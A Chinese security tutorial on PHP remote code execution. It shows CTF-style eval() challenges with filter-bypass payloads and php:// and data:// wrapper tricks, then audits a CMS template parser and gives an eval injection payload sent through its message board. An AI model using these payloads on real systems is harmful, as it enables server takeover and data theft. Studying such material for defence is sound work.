解密RCE漏洞:原理剖析、复现与代码审计实战
在网络安全领域,因其严重性和破坏力而备受关注。RCE漏洞允许攻击者在目标系统上执行任意代码,从而掌控整个系统,带来极大的安全风险。理解RCE漏洞的工作原理,并掌握其复现与代码审计技巧,对于提升系统安全性至关重要。本文将深入剖析RCE漏洞的原理,展示如何在实际环境中复现该漏洞,并提供详尽的代码审计方法。无论您是网络安全初学者,还是资深开发者,都能从中获得实用的知识和技能。让我们一起解密RCE漏洞,提
在网络安全领域,远程代码执行(RCE)漏洞因其严重性和破坏力而备受关注。RCE漏洞允许攻击者在目标系统上执行任意代码,从而掌控整个系统,带来极大的安全风险。理解RCE漏洞的工作原理,并掌握其复现与代码审计技巧,对于提升系统安全性至关重要。
本文将深入剖析RCE漏洞的原理,展示如何在实际环境中复现该漏洞,并提供详尽的代码审计方法。无论您是网络安全初学者,还是资深开发者,都能从中获得实用的知识和技能。让我们一起解密RCE漏洞,提升我们的安全防护能力。
-
概念
- 远程代码执行(RCE)漏洞是一种严重的安全漏洞,它允许攻击者在目标系统上远程执行任意代码。通过利用RCE漏洞,攻击者可以完全控制受害系统,执行恶意操作,如窃取敏感数据、安装恶意软件、破坏系统功能等。RCE漏洞通常存在于处理用户输入的代码中,攻击者通过注入恶意输入并诱使系统执行,从而达到控制目标系统的目的。这类漏洞的利用不仅对系统安全构成重大威胁,而且可能导致严重的经济损失和数据泄露,因此识别和修复RCE漏洞对确保系统安全至关重要。
-
利用函数
-
复现
-
基本使用
-
源码
<?php error_reporting(0); //排除错误 if(isset($_GET['c'])){ //get传参不为空,执行if语句 $c = $_GET['c']; //get传参,赋值给变量c if(!preg_match("/flag/i", $c)){ //过滤flag eval($c); //执行c表达式 } }else{ highlight_file(__FILE__); } payload: ?c=system('tac fla*.php'); ?c=echo shell_exec('tac fla*'); ?c=`cp fla*.ph* 2.txt`;//再访问2.txt即可
-
-
参数逃逸
-
源码
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } ?> payload: ?c=eval($_GET[1]);&1=phpinfo();
-
-
伪协议
-
源码同上
payload: ?c=include$_GET[a]?>&a=data://text/pain,<?=system('tac flag.php');?> payload2 get:?c=include$_GET[a]?>&a=php://input post:<?php system('tac flag.php');?> payload3 ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
-
-
代码审计
-
靶场搭建
- 靶场链接:https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwd=cong
- 下载靶场,在config.php文件中填入授权码,安装靶场
- 靶场链接:https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwd=cong
-
流程
-
导入文件,搜索常用的命令执行函数eval
-
看到eval的来源变量matches
-
本文搜索matches的数据来源,来源于parserSiteLabel函数
-
全局搜索parserSiteLabel函数,看到parserCommom函数
-
全局搜索parserCommom函数,到达AboutController.php
- 名称与网站对应关系
-
有前端与后端结合可知,前端的留言板是在AboutController.php上的
-
好了,找了怎么久终于终于找到功能点了,现在回到最初的eval函数,开始绕过
-
代码
public function parserIfLabel($content) { $pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/'; $pattern2 = '/pboot:([0-9])+if/'; if (preg_match_all($pattern, $content, $matches)) { $count = count($matches[0]); for ($i = 0; $i < $count; $i ++) { $flag = ''; $out_html = ''; // 对于无参数函数不执行解析工作 if (preg_match('/[\w]+\(\)/', $matches[1][$i])) { continue; } eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}'); if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在else switch ($flag) { case 'if': // 条件为真 if (isset($matches2[1])) { $out_html = $matches2[1]; } break; case 'else': // 条件为假 if (isset($matches2[2])) { $out_html = $matches2[2]; } break; } } elseif ($flag == 'if') { $out_html = $matches[2][$i]; } // 无限极嵌套解析 if (preg_match($pattern2, $out_html, $matches3)) { $out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html); $out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html); $out_html = $this->parserIfLabel($out_html); } // 执行替换 $content = str_replace($matches[0][$i], $out_html, $content); } } payload: 留言:{pboot:if(eval($_POST[1]))}!!!{/pboot:if} payload2: 留言:{pboot:if(eval($_REQUEST[3]));//)})}}{/pboot:if}&3=phpinfo(); //记得要在后台把状态打开,不然无回显,头疼!!!!
-
-
通过本次学习,我们不仅深入了解了RCE漏洞的原理,还掌握了复现该漏洞的具体步骤和代码审计的方法。安全防护不仅是技术问题,更是一种意识和态度。通过对RCE漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据安全。
在信息安全的道路上,没有终点。希望本文能为您在安全防护方面提供有价值的指导和帮助,激发您对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全的网络环境。如果您有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢您的阅读,期待您的反馈与分享!
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)